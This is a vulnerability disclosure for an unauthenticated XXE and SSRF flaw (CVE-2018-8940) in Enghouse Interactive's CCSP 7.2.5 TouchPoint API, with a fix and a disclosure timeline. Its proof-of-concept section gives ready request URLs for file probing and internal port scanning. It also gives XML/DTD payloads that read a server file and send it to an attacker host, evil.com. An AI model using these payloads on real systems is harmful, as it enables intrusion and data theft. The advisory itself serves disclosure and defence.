CCSP 7.2.5 API XML Injection / Server-Side Request Forgery

2019-05-11T00:00:00
ID PACKETSTORM:152829
Type packetstorm
Reporter David Herrero
Modified 2019-05-11T00:00:00

Description

                                        
                                            `<!--  
# Exploit Title: Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF  
vulnerability via unauthenticated GET Request  
# Date: 05-08-2018  
# Exploit Author: David Herrero  
# Vendor Homepage: https://www.enghouseinteractive.com  
# Software Link:  
https://www.enghouseinteractive.com/products/contact-center/contact-center-for-service/  
# Version: Enghouse Interactive´s CCSP 7.2.5.102  
# Tested on: Windows  
# CVE : CVE-2018-8940  
# Category: vulnerability  
  
1. Description  
  
The Techpoint API located at  
https://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase,specifically  
the file  
"TouchPoint\\Agent\\Enghouse.Gadgetory.Web\\Controllers\\ClientServiceConfigController.cs:line60"  
allows an unauthenticated user to control the resource the application  
will load. The application will load the resource, and will try to parse  
it as an XML document. In this case, DTD are allowed in the file, so an  
attacker can forge the malicious XML file with a DTD inside, and use  
this XML to read files from the server, SSRF attacks, and check for  
valid documents inside the server.  
  
The vulnerable URI is  
  
http://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=ATTACKERCONTROLLEDPARAMETER  
The value of "ATTACKERCONTROLLEDPARAMETER" is controlled by the  
attacker, it can be used for various attacks:  
  
1) Local file check  
TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=C:\Users\USER1  
  
Will check for the existence of user "USER1" inside the server, will  
respond with an "authorization error" if the user exists, and with "file  
not found" error if the user does not exist.  
  
2) SSRF of internal network  
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=http://localhost:80/a.html  
  
Will check if the port 80 is open in the server in the internal network,  
can be used for scanning ports in adjacent machines. The errors if the  
port is open or closed are different.  
  
3) XXE with file exfiltration  
The application expects a valid XML file as parameter, if the server  
that runs the application has connectivity with internet or with an  
attacker's controlled machine, the attacker can host a malicious XML  
file and force the application to parse it.  
  
2. Proof of Concept  
  
1)Local file check  
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=C:\Users\USER1  
  
2) SSRF in internal network  
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=http://localhost:80/a.html  
  
3) XXE OOB file exfiltration  
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&clientInstallationServiceXmlPath=http://evil.com/XXE.xml  
  
In this case "evil.com" is a domain controlled by the attacker.  
The content of "XXE.xml" is:  
  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE demo [  
<!ELEMENT demo ANY >  
<!ENTITY % dtd SYSTEM "http://evil.com/XXE.dtd">  
%dtd;  
]  
>  
<demo>&send;</demo>  
  
The content of "http://evil.com/XXE.dtd" is:  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % file SYSTEM "file:///C:\windows\system.ini">  
<!ENTITY % alla "<!ENTITY send SYSTEM  
'http://evil.com/index.html?collect=%file;'>">  
%alla;  
  
With this two files, we are able to red the local file located at  
"C:\windows\system.ini" and the content of the file is send to  
"http://evil.com/index.html?collect" in the URL, so the attacker can  
visualize the content of the file in the access logs.  
  
3. Prerequisites  
For Local File Check and SSRF there are not requirements. For XXE the  
attacked server should have connectivity with the attacker controlled  
server. No firewall blocking outcomming connections.  
  
4. Solution:  
  
Update to version 7.2.9  
  
5. Dates  
03/21/2018 - Discovered Vulnerability  
03/21/2018 - Request for CVE  
03/22/2018 - CVE Reserved  
03/26/2018 - Details sent to Vendor  
04/14/2019 - Vendor confirms that version 7.2.9 correct the vulnerability  
05/08/2019 - Public disclosure  
  
`